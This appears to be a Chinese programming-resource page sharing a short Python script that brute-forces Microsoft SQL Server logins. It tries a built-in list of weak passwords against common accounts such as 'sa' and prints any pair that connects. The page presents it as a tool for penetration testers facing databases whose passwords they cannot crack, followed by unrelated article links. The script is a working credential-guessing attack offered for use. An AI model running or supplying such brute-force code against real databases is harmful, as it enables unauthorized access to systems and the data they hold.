您现在的位置是:网站首页> 编程资料编程资料
Python版Mssql爆破小脚本_MsSql_
2023-05-26
372人已围观
简介 Python版Mssql爆破小脚本_MsSql_
Mssql Python版本爆破小脚本,需要安装 MSSQL-python.exe 可以看出代码量很少,用法:保存代码为MssqlDatabaseBlasting.py,cmd切换到 MssqlDatabaseBlasting.py路径下,并 执行 MssqlDatabaseBlasting.py即可开始破解
import pymssql common_weak_password = ('','123456','test','root','admin','user')#密码字典 mssql_username = ('sa', 'test', 'admin', 'mssql')#账号字典 success = False host = "127.0.0.1"#数据库IP地址 port = 1443 for username in mssql_username: for password in common_weak_password: try: db = pymssql.connect(server=host, port=port, user=username, password=password) success = True if success: print username, password except Exception, e: pass 说明:看到很多网络安全爱好者,在进行渗透测试的时候,遇到数据库可以远程管理,但是无法破解其账号密码,所以此篇文章就推送几个脚本进行渗透。
您可能感兴趣的文章:
相关内容
- SQL分页查询方式汇总_MsSql_
- SqlServer中如何解决session阻塞问题_MsSql_
- MySQL 5.7 create VIEW or FUNCTION or PROCEDURE_MsSql_
- sql server2016里面的json功能浅析_MsSql_
- SQL Server 2012 开窗函数_MsSql_
- SQL Server 2012 多表连接查询功能实例代码_MsSql_
- SQLite Delete详解及实例代码_MsSql_
- CentOS 7.3上SQL Server vNext CTP 1.2安装教程_MsSql_
- SQL2008 详解直接将XML存入到SQL中_MsSql_
- SQL Server存储过程同时返回分页结果集和总数_MsSql_
